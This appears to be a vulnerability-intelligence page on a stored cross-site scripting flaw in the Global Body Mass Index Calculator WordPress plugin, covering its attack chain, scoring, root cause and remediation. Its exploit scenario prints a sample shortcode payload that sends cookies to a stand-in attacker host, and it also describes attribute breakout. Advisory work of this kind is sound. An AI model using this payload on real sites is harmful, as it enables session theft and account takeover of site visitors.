Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to WordPress as contributor
-
DeliveryCraft malicious 'gbmicalc' shortcode with attribute-breakout payload
-
ExploitInsert shortcode into post or page content
-
InstallPublish or save page to persist injected script
-
C2Victim loads page triggering stored XSS
-
ExecuteArbitrary JavaScript executes in victim browser context
-
ImpactSession token or credentials exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an active WordPress account with at minimum the contributor role - CVSS PR:L confirms authentication is mandatory, and unauthenticated exploitation is not possible. The Global Body Mass Index Calculator plugin must be installed and activated on the target site. The attacker must be permitted to create or edit posts that render the 'gbmicalc' shortcode in a public or admin-accessible page. A victim (any user including administrators or anonymous visitors) must subsequently load the page containing the injected shortcode for the payload to execute. Limiting factors: the contributor-role requirement means this is not a zero-interaction remote attack against default WordPress configurations; sites that restrict post-creation or use role-management plugins to prevent contributors from inserting arbitrary shortcodes effectively block this vector. WordPress multisite installations with contributor access scoped only to specific subsites limit blast radius to those subsites. Headless or API-only deployments that do not render shortcode output as HTML are not affected. |
| Impact | The CVSS 3.1 base score of 6.4 (Medium) reflects Changed scope with low confidentiality and integrity impact, consistent with persistent XSS enabling session-cookie theft or credential harvesting against site visitors. The vector AV:N/AC:L/PR:L/UI:N warrants scrutiny: UI:N is atypical for stored XSS, which inherently requires a victim to load the injected page to trigger payload execution. The UI:N designation appears to score the attacker's initial injection action rather than the downstream delivery to victims, and defenders should treat victim page-load as a de facto prerequisite. PR:L confirms an authenticated attacker requirement - only WordPress users holding the contributor role or above can insert shortcodes - which materially limits the attacker pool compared to a PR:N scenario. No EPSS score was provided in the available data. CISA KEV status is absent, and no public exploit code has been identified at time of analysis, indicating no confirmed widespread exploitation. Cross-referencing these signals: this is a medium-priority remediation item for multi-author WordPress sites where untrusted users hold contributor accounts; it is lower priority for single-author or administrator-only deployments where the contributing population is entirely trusted. |
| Exploit ScenarioDerived | An attacker authenticates to the target WordPress site with a contributor account, navigates to the post editor, and inserts a crafted shortcode such as [gbmicalc title="<script>document.location='https://attacker.example/?c='+document.cookie</script>"] or uses a style-attribute breakout in the width/height parameters. The post is published or drafted and subsequently rendered to an administrator or site visitor, at which point the stored script executes in the victim's browser, enabling session-cookie exfiltration or account takeover. No public exploit code has been identified at time of analysis, but the vulnerability is trivially reproducible given the published source code references at the WordPress plugin trac repository. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 09, 2026
Stored Cross-Site Scripting in the Global Body Mass Index Calculator WordPress plugin (versions up to and including 1.2) allows authenticated contributors to persistently inject arbitrary JavaScript into any page rendering the 'gbmicalc' shortcode. The vulnerability arises from PHP's @extract() call on unsanitized shortcode attributes followed by unescaped output into both an HTML style attribute context and an HTML body context inside GBMI_Calc_Widget::widget(), enabling attribute-breakout payloads. No public exploit code has been identified at time of analysis and no CISA KEV listing exists, but the Wordfence-confirmed contributor-level requirement makes this a realistic risk for any multi-author WordPress installation.
RemediationAI
No vendor-released patch has been identified at time of analysis - all source code references point exclusively to the vulnerable 1.2 release, and no later tagged version appears in the plugin repository. The primary remediation is to deactivate or uninstall the Global Body Mass Index Calculator plugin immediately; this eliminates the attack surface entirely at the cost of the BMI calculator functionality on affected pages. If deactivation is operationally infeasible, restrict contributor-role assignment to fully trusted users only, since the attack requires at minimum that role - this limits exploitation to credentialed insiders and substantially reduces real-world risk, though it does not fix the underlying flaw. Deploying a Web Application Firewall with plugin-specific rules targeting 'gbmicalc' shortcode attribute injection patterns (Wordfence provides rule coverage for its advisory findings) offers partial mitigation with the caveat that WAF rules can be bypassed by sufficiently obfuscated payloads. Monitor the WordPress plugin repository and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/06804bed-17c5-413c-a31b-f6f039015e26 for a patched release and apply it immediately upon availability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the GBMI_Calc_Widget::widget() function within the Global Body Mass Index Calculator WordPress plugin, developed by vendor 'helpstring' (CPE: cpe:2.3:a:helpstring:global_body_mass_index_calculator:*:*:*:*:*:*:*:*). The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). PHP's @extract($args) extracts all shortcode attributes directly into local variable scope without any sanitization step; those variables are subsequently echoed unescaped into an HTML style attribute controlling height and width values (gbmicalc.php lines ~335 and ~345) and into an HTML body context for the title parameter (line ~476). The style-attribute injection context enables attribute-breakout payloads - for example, a closing quote followed by an event handler - while the title context permits direct script-tag injection. CVSS scope is rated S:C (Changed) because the stored script executes in the victim's browser security context rather than the attacker's, crossing the trust boundary from the contributor's session into that of any subsequent page visitor.
Know when Global Body Mass Index Calculator gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Global Body Mass Index Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gbmicalc' shortcode in versions up to, and including, 1.2. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes in the GBMI_Calc_Widget::widget() function. Shortcode attributes are extracted directly into local variables via @extract($args) and then echoed unescaped into an HTML style attribute (height/width) and HTML body context (title), allowing attribute-breakout payloads. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-35299
GHSA-3xrw-mxp7-2r3j
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB